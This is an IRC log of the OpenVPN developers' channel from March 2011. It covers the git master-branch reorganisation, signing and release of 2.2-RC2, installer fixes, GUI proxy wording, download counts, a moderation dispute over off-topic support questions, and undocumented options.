plugin.h <http://openvpn. 04:28 <@dazo> mattock: I've just announced the changes to the git tree 04:29 <@mattock> dazo: you mean the new "master" branch? 04:29 <@mattock> or 2.2-RC2 tagging? 04:31 <@mattock> ok, got the mail 04:35 <@dazo> new master branch :) 04:35 <@mattock> dazo: does this changelog look ok: http://pastebin.com/quw3BBm0 04:36 <@mattock> that's for debian packages, so it's no sorted by author 04:37 <@dazo> that makes sense 04:37 <@d12fk> I think I'll be the volunteer for ticket #24, no sense in having the functionality in ovpn and the gui as well. 04:37 <@dazo> d12fk: that would be great!! 04:39 <@d12fk> 2.2 is closed ain't it? 04:40 <@dazo> pretty close :) 04:40 <@dazo> mattock: try this one ... git log --pretty="format:%s (%cn, %h)" v2.2-RC..v2.2-RC2 04:40 < cron2_> d21fk: a few months, no more! 04:40 <@dazo> lol 04:41 <@mattock> cron2: that might be a realistic estimation :P 04:41 <@dazo> we plan to beat the 2.1 release cycle ... so we still have some margins :-P 04:41 <@d12fk> you know my speed, so just a couple of them won't suffice =) 04:41 < cron2_> I don't hope so... I have trust in you and dazo to finish 2.2 quickly now 04:42 <@mattock> well, when I get the signing keypairs and all, then there's virtually no delay 04:42 <@mattock> as long as James is swamped and needs to do that, there'll be delays unfortunately 04:43 <@dazo> I think RC2 is the last RC, to be honest ... what we've fixing is mainly build system, and a few annoyances and final polish 04:43 <@mattock> +1 04:43 <@mattock> and I also think we should push out 2.2 a.s.a.p. 04:43 <@mattock> there has been enough testing between 2.2-beta5 and 2.2-RC2 already 04:44 <@dazo> agreed ... I'd say if we haven't heard any complaints within 3-4 weeks, or the first 25.000 downloads (whichever comes first) ... we're ready to release it 04:44 < cron2_> dazo: how's the master branch called? "master"? 04:44 <@mattock> dazo: I'll use your magic Git command-line, looks neat 04:45 <@dazo> mattock: that way, curious people can easily find the the commits directly 04:45 <@dazo> cron2_: yes, master 04:45 <@mattock> except that you get all the credit for the commits :D 04:45 <@dazo> oh crap! 04:45 < cron2_> so right now, "master" is the same as "2.2RC", content-wise? 04:46 <@dazo> mattock: try %an instead of %cn 04:46 <@mattock> dazo: much better 04:46 <@dazo> cron2_: master == beta2.2 + bugfix2.1 + feat_misc 04:48 <@dazo> cron2_: I had quite some "fun" doing this merge .... so it might be worth considering to check out the master branch and then do 'git cherry-pick' on your IPv6 patches ... that way we'll avoid nasty conflicts later on 04:48 <@dazo> but it is much more time consuming 04:48 < cron2_> what is there in bugfix2.1 that is not in beta2.2? 04:49 <@dazo> cron2_: plug-in API v3, and some other new features, mostly merged in from feat_misc 04:50 < cron2_> if that's in bugfix 2.1, does it mean it's in 2.1.4 and not in 2.2? Or is this just a naming artifact? 04:51 <@dazo> its more a naming artefact .... as maintaining feat_misc and bugfix2.1 got quite complicated towards the end 04:52 <@dazo> 2.1.4 is the same as 2.1.3 plus your route fix 05:06 < cron2_> ok, I see. So the "new master" is The Real Thing now, and everything else is to be considered "history" (and the *ipv6* branches need rebasing) 05:07 <@dazo> yeah, this rebasing is to make sure I can merge them cleanly into the master branch 05:07 <@dazo> and to avoid messing up the history 05:08 < cron2_> I can't promise anything on when I'll find time to do the rebasing "hopefully some time over the next two weeks" 05:09 < cron2_> this is something that needs a few hours of quiet and concentration 05:09 <@dazo> it is ... I spent already 3-4 hours making the new master branch ... so take your time 05:16 <@mattock> "Git is a good servant, but a poor master" (old Finnish saying) :) 05:17 <@mattock> s/"Git"/"Fire"/g for normal people 05:18 <@dazo> heh 05:18 <@dazo> at least when not carefully watched :) 05:23 <@dazo> mattock: what do you think about renaming openvpn-testing.git to openvpn.git when we release 2.2? 05:30 <@mattock> well, I think it makes sense 05:31 <@mattock> it is the main openvpn repository after all, not just a testing repository 05:34 < cron2_> dazo: +1 05:35 <@mattock> debian/ubuntu packages for 2.2-RC2 now available at http://build.openvpn.net/downloads/releases/ 05:35 <@vpnHelper> Title: Index of /downloads/releases (at build.openvpn.net) 05:36 <@dazo> goodie, then we'll announce the new tree as well with the final release 05:36 <@d12fk> dazo: just read your announcement, won't rebasing the feature branches break cloned repositories 05:36 <@dazo> de 05:37 <@dazo> d12fk: most likely these rebases needs to be new branches ... however, there are two branches which are actively developed - both IPv6 branches 05:38 <@dazo> the rest of the feature branches are either merged into master or beta2.2 ... or they have not resulted in much responses 05:39 < cron2_> d12fk: git should be able to handle rebases - it's "just new commits" and as such, can be cloned just fine 05:39 <@dazo> so this is just a slow process of killing them off ... features which nobody cares for or actively ask for are probably not so interesting for inclusion after all 05:40 <@dazo> the advantage with rebase is that the commitish stays the same ... with merges/cherry-picks they change ... so cron2_ might be right here 05:40 <@d12fk> cron2_: git yes, but not the repositories that are cloned out there, those will break, as their branches have different bases 05:41 <@d12fk> rule of thumb is not to rebase work already pushed to a public repo 05:41 <@dazo> mm ... in most cases, they will be reset with a 'forced update' when fetching them 05:42 <@d12fk> dazo: that will cause extra work if i have local changes 05:43 <@d12fk> instead why not merge master into the feature branches and then squash them before they are applied to master 05:43 < cron2_> d12fk: I thought git would just magically get it right 05:43 <@dazo> what I've had good results with is that all seeders (f.ex. feat_ipv6_payload) rebases against the public repository ... then I will merge those branches into the official public tree 05:43 < cron2_> (but I'm not a git expert by any means) 05:44 <@dazo> the issue is that I did some major mistakes in the very beginning with inconsistent usage of rebase and merge .... so that's why external trees, basing stuff from master and rebase on that should hopefully clean up stuff 05:44 <@dazo> or at least not make it worse 05:44 <@dazo> from the v2.2-beta2 release, the history has become much more consistent 05:46 <@d12fk> but feat_ipv6_payload is in the repo already isn't it? 05:47 <@dazo> yeah, and it's a bit dirty already ... so I hope we're able to clean that branch up ... and others who pulls the tree will get a forced update ... and of course, we will announce the reworked branches 05:48 <@d12fk> did I get you wrong then, rebasing is not done during normal operation but is a one time thing? 05:48 <@dazo> maybe, I'm not sure :) Let's try to explain this better 05:48 <@dazo> I pushes the official tree (aka upstream tree) 05:49 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 05:49 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 05:49 <@dazo> then cron2_ need to rebase against the upstream tree (git rebase) and then push his tree out ... and I will pull his tree and merge it into the master branch 05:50 <@dazo> this is to avoid getting duplicated commits in the commit history, due to the git commits being different 05:50 <@d12fk> ok rebasing before pull is fine as long as cron2_s tree is private 05:51 <@dazo> yeah, cron2_s tree should be private 05:51 <@d12fk> rebase changes history, so any clone out there will get out of sync, thus no rebase on public repos 05:51 <@dazo> agreed 05:52 <@d12fk> ok then I unrise my eyebrow 05:52 <@dazo> :) 06:09 -!- genesis7 [~rommel@amertospromotions.com] has joined #openvpn-devel 06:12 < genesis7> good day development team. I have a query. In windows when only using route.exe is possible, openvpn will not work if the route.exe is not located in the local drive C. As my experience a user need to have a drive C which the route.exe resides in C:\windows\system32 directory for openvpn to work. isnt it possible to call route.exe other than the default directory? 06:18 <@dazo> genesis7: I believe this is a known bug ... it might be related to this one: https://community.openvpn.net/openvpn/ticket/106 06:18 <@vpnHelper> Title: #106 (option --register-dns does not work in conjunction with --win-sys) – OpenVPN Community (at community.openvpn.net) 06:19 <@dazo> or this one: https://community.openvpn.net/openvpn/ticket/66 06:19 <@vpnHelper> Title: #66 (the win-sys variable is not respected in all cases) – OpenVPN Community (at community.openvpn.net) 06:28 < genesis7> i guess so but was this issue solved already because until a while ago when I tried in my other laptop 06:35 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:37 < genesis7> how to solve that? 06:37 < genesis7> Should I request the development team to fix the problem! 06:52 -!- genesis7 [~rommel@amertospromotions.com] has quit [] 07:25 <@vpnHelper> RSS Update - testtrac: Clarify --tmp-dir option <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=dc2ccc825c6952546132286c57b193d8bb9daacd> 07:26 -!- opiate [solarkeith@cable-1146.paragould.net] has joined #openvpn-devel 07:27 < opiate> hello, anyone around? 07:27 < ecrist> yup 07:27 < opiate> i'm not the best with vpns, i would like to use one to evade a ban for an online video game 07:27 < ecrist> this is the wrong channel 07:27 < opiate> i was wondering how i can find di.. 07:28 < opiate> ok 07:28 < ecrist> #openvpn is the general support channel 07:28 < opiate> thx 07:28 < opiate> btw 07:28 < opiate> what color socks u got on? 07:28 < ecrist> black 07:28 < opiate> thats hot 07:28 < opiate> k thx 07:28 -!- opiate [solarkeith@cable-1146.paragould.net] has left #openvpn-devel [] 07:28 < ecrist> lol 07:31 < cron2_> socks can have any colour, as long as it's black 07:31 -!- opiate [solarkeith@cable-1146.paragould.net] has joined #openvpn-devel 07:31 < opiate> o hi im back 07:31 < opiate> will you help me real quick black socks 07:31 < opiate> i'll be fast 07:47 -!- genesis7 [~rommel@amertospromotions.com] has joined #openvpn-devel 07:48 < genesis7> --win-sys path|'env' <-- i see the solution 07:51 -!- opiate [solarkeith@cable-1146.paragould.net] has quit [] 07:52 <@mattock> we got signed tap-drivers now 07:52 <@mattock> I'll create the windows installer for james to sign 07:53 < genesis7> Im not familiar with --win-sys path|'env' option. How to use that? and should I put that in the client config? 07:57 <@mattock> generis7: you get better support on #openvpn channel 07:57 <@mattock> many more people to answer your questions 08:02 < genesis7> but I guess none is available there coz no one answers for 15 minute now I guess 08:02 < genesis7> ? 08:05 <@dazo> genesis7: PLEASE! Ask your questions first on #openvpn ... and you NEED patience, sometimes it takes hours to get an answer ... we're not sitting here idle waiting to answer your questions 08:05 <@dazo> one more support question from you on this development channel, and I will consider ban you on #openvpn-devel 08:06 <@mattock> genesis7: also, google is your friend. try googling for "openvpn win-sys-path" and click on the first link 08:06 <@mattock> people might not want to answer your questions because they think you should have done your homework 08:06 < genesis7> sorry @dazo someone just told me to also ask question here. I never thought it is not possible. sorry again.. I also tried googling @mattock 08:06 <@mattock> =googling 08:07 <@mattock> you should check the openvpn FAQ, HOWTO and man-page... they cover almost everything 08:07 <@mattock> http://openvpn.net/index.php/open-source/documentation.html 08:07 <@vpnHelper> Title: Documentation (at openvpn.net) 08:07 < genesis7> ofcourse I do my homework mattock. I also dont want to waste your time but I have no other option. 08:08 < genesis7> I do my homework that is why I found the win-sys path option by myself 08:08 <@mattock> I suggest trying to get it working first by yourself, and if that fails, ask #openvpn channel 08:09 <@mattock> people are more likely to answer that way... 08:12 < genesis7> :( 08:12 -!- genesis7 [~rommel@amertospromotions.com] has quit [] 08:15 <@mattock> damn, I just found the first acceptable spoon-feeding article: http://www.mp3car.com/the-faq-emporium/53368-faq-what-is-spoon-feeding.html 08:19 <@mattock> dazo: something funky happens to the Windows readme file during make-dist 08:19 <@mattock> all the installer I generated from my local Git tree have proper Windows linefeeds 08:20 <@mattock> those generated from the zip-file have UNIX linefeeds -> one long line 08:30 <@dazo> lol ... good spoon-feeding stuff :) 08:30 <@dazo> !learn spoonfeeding http://www.mp3car.com/the-faq-emporium/53368-faq-what-is-spoon-feeding.html 08:30 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value. 08:30 <@dazo> !learn spoonfeeding as http://www.mp3car.com/the-faq-emporium/53368-faq-what-is-spoon-feeding.html 08:30 <@vpnHelper> Joo got it. 08:30 < ecrist> hehe 08:30 <@mattock> I like the pictures especially 08:30 <@dazo> yeah :) 08:31 <@dazo> mattock: re: the NL stuff ... that is odd 08:31 <@mattock> yep 08:31 * dazo checks 08:31 <@mattock> I think I'll fix them manually 08:31 <@mattock> besides that the 2.2-RC2 installer works on Win7 64-bit just fine 08:31 <@dazo> for RC2, that's just fine 08:31 <@dazo> cool! 08:32 <@mattock> I notice one thing we should probably fix by 2.2 08:32 <@mattock> the drivers the build system generates are called tap0901.sys 08:32 <@mattock> which is wrong, it should now be tap0908.sys 08:32 <@mattock> that shouldn't be critical, but annoying 08:32 <@dazo> uh,oh ... 08:32 <@mattock> the _real_ driver version as seen by Windows is still 9.0.0.8 08:33 <@mattock> so, only the filename is messed up 08:33 <@dazo> okay, but it works, right? 08:33 <@mattock> yes 08:33 <@mattock> I don't think it affects anything 08:33 <@dazo> okay, let's fix that for the final release 08:33 <@mattock> especially on Vista and later 08:33 <@dazo> which readme file did you have issues with? 08:33 <@mattock> I'll put it to my "fix" queue 08:34 * dazo takes it out of his todo list :) 08:34 <@mattock> INSTALL-win32.txt 08:34 <@mattock> or maybe my latest update borked that file 08:34 <@mattock> the patch I mean 08:35 <@dazo> I'll check 08:36 <@dazo> my git tree only have NL 08:36 <@dazo> and if you checked on your Windows box, git might have converted it "on-the-fly" 08:38 <@dazo> so the version in the ZIP file and in my checked out git tree is identical 08:40 <@mattock> ok 08:40 <@mattock> I fixed it manually and generated a new installer 08:41 * dazo curses the genius people who figured out it is clever to not share the same NL structure 08:48 * dazo heads out for some errands 08:49 -!- dazo is now known as dazo_afk 08:50 <@mattock> installer passed our rigorous smoke-testing programme 08:50 <@mattock> and the linefeed issue is fixed 09:04 <@d12fk> mattock: is that Finish? 09:04 <@d12fk> "Käytä Windows Internetin asetuksia" 09:04 <@mattock> yep 09:04 <@mattock> bad finnish, but finnish :) 09:05 <@mattock> I hope it's not my work 09:05 <@d12fk> I need to say Use Windows Internet settings in the GUI 09:06 <@d12fk> "Use Windows Internet settings" to be clear 09:07 <@d12fk> or do you prefer "Use System internet settings" ? 09:07 <@d12fk> opinions please 09:09 <@d12fk> i think the less i mention windows the better =) 09:11 <@mattock> "Use system-wide internet settings"? 09:11 <@mattock> or "default internet settings" 09:12 <@mattock> here's a proposed announcement for 2.2-RC2: http://pastebin.com/n3erC65z 09:12 <@d12fk> well, they are not system wide, firefox e.g. rolls it's own 09:12 <@mattock> ok 09:12 <@mattock> where doe sthe GUI get them? 09:12 <@mattock> from 09:13 <@d12fk> it will use ovpn's --auto-proxy 09:13 <@d12fk> and that will QueryInternetOption() and WinHttpGetProxyForUrl() when i'm through with it 09:14 <@d12fk> so, MS software will likely use it and openvpn and maybe others 09:14 <@d12fk> gotta attend a meeting brb 09:15 <@mattock> I would suggest "Use system proxy/internet settings" 09:15 <@mattock> if windows APIs are used to fetch the information 09:15 <@mattock> even if OpenVPN is there as a middle man 09:36 <@d12fk> nobody need to know that detail =) 09:37 <@d12fk> Use system proxy settings sound good 09:43 <@mattock> nice! 09:58 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:25 -!- dazo_afk is now known as dazo 10:28 <@dazo> mattock: announcement looks good, but I would probably announce #openvpn instead of #openvpn-devel 10:28 <@dazo> and the NOTE: at the end ... bah ... that's for whimps! :-P 11:13 -!- dazo is now known as dazo_afk 11:13 <@d12fk> mattock: whats "Use system proxy settings" in Finnish? 11:42 -!- dazo_afk is now known as dazo 12:35 <@mattock> d12fk: "Käytä järjestelmän välipalvelinasetuksia" 12:47 < ecrist> watch your mouth. 12:48 < ecrist> ;) 13:10 -!- dazo is now known as dazo_afk 14:06 <@mattock> so far no signed Windows installer / GPG sigs, hopefully james sends them in < 2 hours 14:07 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:07 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:23 -!- andj_afk is now known as andj 14:26 <@mattock> jamesyonan: did have time to sign 2.2-RC2 files? 14:26 <@jamesyonan> I will do it now 14:26 <@mattock> great! 14:27 <@mattock> I'll start setting up the staging server 15:46 <@mattock> openvpn 2.2-RC2 released: http://openvpn.net/index.php/open-source/downloads.html 15:46 <@vpnHelper> Title: Downloads (at openvpn.net) 15:49 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:09 -!- andj is now known as andj_afk 16:19 -!- krzii [krzee@hemp.ircpimps.org] has joined #openvpn-devel 16:19 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 21:50 -!- genesis7 [~rommel@amertospromotions.com] has joined #openvpn-devel 21:51 < genesis7> good day sir. i have a question in openvpn channel. need someone to help please 21:51 < genesis7> thanks 21:51 -!- genesis7 [~rommel@amertospromotions.com] has left #openvpn-devel [] 23:49 -!- krzie is now known as krzee 23:50 -!- mode/#openvpn-devel [+o krzee] by ChanServ 23:52 -!- mode/#openvpn-devel [+b *!*rommel@amertospromotions.com] by krzee 23:52 <@krzee> err 23:53 -!- mode/#openvpn-devel [-b *!*rommel@amertospromotions.com] by krzee 23:53 -!- mode/#openvpn-devel [-b *!*@amertospromotions.com] by krzee 23:53 -!- mode/#openvpn-devel [+b *!*@amertospromotions.com] by krzee 23:53 <@krzee> o_O 23:53 -!- mode/#openvpn-devel [-o krzee] by krzee --- Day changed Sat Mar 26 2011 01:37 < reiffert> ? 02:00 <+krzee> quite a few misfires there 02:01 <+krzee> as far as that guy... 02:01 <+krzee> [09:05] <dazo> genesis7: PLEASE! Ask your questions first on #openvpn ... and you NEED patience, sometimes it takes hours to get an answer ... we're not sitting here idle waiting to answer your questions 02:01 <+krzee> [09:06] <dazo> one more support question from you on this development channel, and I will consider ban you on #openvpn-devel 02:02 <+krzee> i was thinking bout banning so i scrolled up and saw that and it sealed the deal 02:08 < reiffert> community lives from growing, doesnt it? 02:09 -!- reiffert [~thomas@mail.reifferscheid.org] has left #openvpn-devel ["try to learn the /ignore"] 02:16 <+krzee> [03:12] >reiffert< he was told 3 times that #openvpn-devel is for dev, the last time he was told he may be banned if he continued 02:16 <+krzee> [03:12] >reiffert< it is HIGHLY unlikely that he has a reason to be in the dev channel when he has proven he doesnt read the manual or google before asking 02:16 <+krzee> [03:14] >reiffert< ignore doesnt do the same thing, since it doesnt stop the other devs from seeing activity and looking, only to see that its just someone who belongs in #openvpn 02:16 <+krzee> if anyone else thinks i should not have banned him, let me know please 02:31 -!- andj_afk is now known as andj 02:38 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:16 -!- Netsplit *.net <-> *.split quits: Dark-Fx 04:23 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel 05:08 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 08:32 < ecrist> krzee: the ban is good, imho 08:34 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 08:34 -!- Irssi: #openvpn-devel: Total of 20 nicks [4 ops, 0 halfops, 2 voices, 14 normal] 08:34 <+ecrist> reiffert subscribes a bit too much to the old-school 'everyone just needs to get along' addage. 10:00 * ecrist gets back to work playing with vbulletin 10:46 <+ecrist> anyone alive this morning? 11:47 < cron2_> no 11:48 < cron2_> and it's not morning either :) (17:48 here) 12:01 <@mattock> 2.2-RC2 seems to have been an ok release, no complaints so far 12:09 < cron2_> whut? it has been signed and released already? 12:17 <+ecrist> yeah, nobody told me, either 12:17 <+ecrist> otherwise the bsd port would be up to date 12:18 <@mattock> ecrist, cron2: I sent announcements to every mailing list, posted to forums and it was in Twitter, too 12:18 <@mattock> didn't the mail arrive? 12:18 < cron2_> uh 12:18 < cron2_> let me check again 12:18 <+ecrist> I don't pay attention to the mailing list. 12:18 <@mattock> and also announced it on both IRC channels :D 12:18 <+ecrist> figured teh dev channel would be used, since this is where the devs are. :\ 12:19 <+ecrist> and, usually, I have advanced notice 12:19 < cron2_> "who reads IRC"... :) (I don't always read the backlog if I'm away for a while) 12:20 < cron2_> indeed, there was a mail :) - saw it, saved it away, and immediately forgot about it ("this can't be real I must still be sleeping" :) ). 12:35 <+ecrist> *shrug* port sent up the tree for a commit 12:35 * ecrist goes back to work on the forum 12:38 <+ecrist> there seems to be a problem getting user accounts added to the DB when they're new, and admincp logins aren't working that well, yet. However, there are all things i can overcome. :) 13:04 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:04 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:16 -!- krzii [krzee@hemp.ircpimps.org] has quit [Quit: Leaving] 15:16 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:16 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:49 <+ecrist> ping mattock - I found a bug/issue with pwm 15:50 <+ecrist> it's unable to update passwords that have been hashed in ldap 16:00 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 17:06 <+ecrist> krzee: fwiw, http://forums.openvpn.net/vb4_test/forum.php 17:06 <@vpnHelper> Title: OpenVPN Support Forum (at forums.openvpn.net) 18:01 <+ecrist> krzie and mattock: see http://forums.openvpn.net/vb4_test/forum.php and look around, let me know what you think. 18:01 <@vpnHelper> Title: OpenVPN Support Forum (at forums.openvpn.net) 18:02 <+ecrist> I have not, yet, spent the time to further style it, wanted to get ldap auth working, which seems functional. 18:18 <+krzie> oh ok 18:18 <+krzie> i was going to talk down on the style 18:18 <+krzie> our existing forum *looks* a lot nicer 18:19 <+krzie> but that seems to be a moot point ;] 18:19 <+krzie> if it can fix the RSS / cookie issue, i am in love with it 18:27 <+ecrist> it should fix the cookie AND rss issues, handedly 18:31 <+ecrist> not only that, but it supports things like user reputation, a full-blown CMS (if we wanted/needed it) and more. 23:03 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 276 seconds] --- Day changed Sun Mar 27 2011 00:29 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:13 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 03:04 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 03:25 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 07:52 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 09:36 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:25 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 11:29 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:28 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 14:30 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 15:30 -!- psha [~psha@213.208.162.69] has quit [Quit: zzz] 16:03 -!- andj is now known as andj_afk 17:50 <+ecrist> anyone else have insight on the vb version of the forum? 22:24 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] --- Day changed Mon Mar 28 2011 00:07 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 00:13 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 00:30 -!- s7r [~s7r@unaffiliated/s7r] has quit [Read error: Connection reset by peer] 00:40 -!- andj_afk is now known as andj 00:44 -!- Guifort [~Guifort@ks367821.kimsufi.com] has joined #openvpn-devel 00:46 -!- Guifort [~Guifort@ks367821.kimsufi.com] has quit [Read error: Connection reset by peer] 00:47 -!- Guifort [~Guifort@ks367821.kimsufi.com] has joined #openvpn-devel 00:52 -!- Guifort [~Guifort@ks367821.kimsufi.com] has quit [Ping timeout: 246 seconds] 01:05 -!- andj is now known as andj_afk 01:54 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 01:54 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 01:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:52 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 04:17 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 04:17 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 04:17 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:17 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:32 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:32 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:20 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 09:16 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 09:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:31 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:48 <@dazo> mattock: hey! how's the download numbers for RC2? 11:14 -!- andj_afk is now known as andj 11:19 <@mattock> dazo: haven't checked, I'll do that first thing tomorrow 11:20 <@dazo> cool! 12:48 -!- dazo is now known as dazo_afk 13:20 <+krzee> openvpn is now included by default in cyanogenmod 7 13:20 <+krzee> with a gui 13:20 <+krzee> pretty cool 13:20 <+krzee> im still on CM6, but i found that out today 13:20 <+krzee> cm6 came with tun so it was easy to install openvpn, but cm7 has it already 13:55 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:41 -!- psha [~psha@213.208.162.69] has quit [Quit: zzz] 15:49 -!- andj is now known as andj_afk 22:06 -!- Netsplit *.net <-> *.split quits: +krzee, agi, @d12fk, +krzie, chantra_1fk, cron2_, @dazo_afk, Essobi, Dark-Fx, waldner, (+2 more, use /NETSPLIT to show all of them) 22:14 -!- Netsplit over, joins: +krzee, agi 22:18 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel 22:19 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 22:19 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 22:19 -!- dazol [~dazo@nat/redhat/x-gsuyfdiwtsaqiujg] has joined #openvpn-devel 22:19 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 22:19 -!- ServerMode/#openvpn-devel [+v krzie] by anthony.freenode.net 22:20 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 22:20 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 22:20 -!- ServerMode/#openvpn-devel [+o d12fk] by anthony.freenode.net 22:20 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 22:20 -!- cron2_ [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 22:20 -!- chantra_1fk [~chantra@ns38827.ovh.net] has joined #openvpn-devel 23:03 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has quit [Read error: Operation timed out] 23:03 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel 23:10 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 246 seconds] 23:13 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel --- Day changed Tue Mar 29 2011 00:07 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 00:25 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 00:41 -!- andj_afk is now known as andj 00:58 -!- andj is now known as andj_afk 01:00 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:00 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:03 -!- s7r [~s7r@unaffiliated/s7r] has quit [Quit: Leaving] 02:30 <@mattock> dazo: I'll check the download stats for 2.2-rc2 02:36 <@mattock> dazo: 8028 "GET" requests for openvpn-2.2-RC2* 02:36 <@mattock> since release 02:38 <@mattock> 1243 unique IPs 02:39 <@mattock> maybe ~5000 real downloads? 02:43 <@mattock> I'll write a script to do more thorough analysis 02:51 < cron2_> wow, that's fairly impressive numbers for a RC 02:53 -!- dazol [~dazo@nat/redhat/x-gsuyfdiwtsaqiujg] has quit [Changing host] 02:53 -!- dazol [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:53 -!- mode/#openvpn-devel [+o dazol] by ChanServ 02:53 -!- dazol is now known as dazo 02:54 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 02:54 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 02:54 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 02:54 -!- mode/#openvpn-devel [+v janjust] by ChanServ 02:54 <@dazo> that's pretty good download numbers, considering we released late at Friday 03:01 <+krzee> i think people have become more used to how often releases are coming 03:01 <+krzee> and are liking the developments, so keep wanting to try the newer one 03:01 <+krzee> i dont blame them =] 03:03 * dazo neither :) 03:17 < psha> numbers for 2.1 rc were very high i guess 03:17 < psha> since it was in rc stage for more then a year 03:22 <@dazo> psha: 2.1_rc1 was released October 2006 ... the final 2.1 version was released December 2009 ;-) 03:23 < cron2_> omg 03:24 <@dazo> 2.1_beta1 released October 2005 ... so one year for beta and three years for RC ... the other way around would probably have been more sane 03:27 <@dazo> in that perspective, we're on a good track ... and one difference from the 2.1 round and the 2.2 round is that there are no new features in the RC releases (except IPv6 enabled wintap, which slipped but was planned) ... while the 2.1_rc had several feature additions along the road 03:32 <@dazo> janjust: I'm poking into the openvpn changelog .... and I notice something which is not documented in the man page .... http://www.fpaste.org/4cUn/ 03:32 <@dazo> it was introduced in 2.1_rc17 03:33 <@dazo> do you have time and interest to dig into what this does? 03:33 <@dazo> there's also --redirect-private 03:33 <+krzee> OH COOL 03:34 <+krzee> that is a wanted feature 03:34 <+janjust> looks sweet... sounds like I have to dig through options.c again 03:34 <+krzee> it would sense when your laptop is on lan and using redirect-gateway 03:34 < psha> dazo: yes, current development is times faster 03:34 < psha> thanks to mattock and everything involved 03:34 <+janjust> yep krzee , looks nice! lemme test it 03:35 <@dazo> I'm accepting man patches at high speed nowadays ;-) 03:36 * dazo writes down a complete list of undocumented features from the 2.1 release 03:51 <+janjust> unknown to me: --remote-ip-hint ; --http-proxy-fallback, --server a.b.c.d netmask nopool (nopool?!?!?!?!), --ifconfig-push-constraint , --key-direction 03:52 <@dazo> cool! I'll add these to the list as 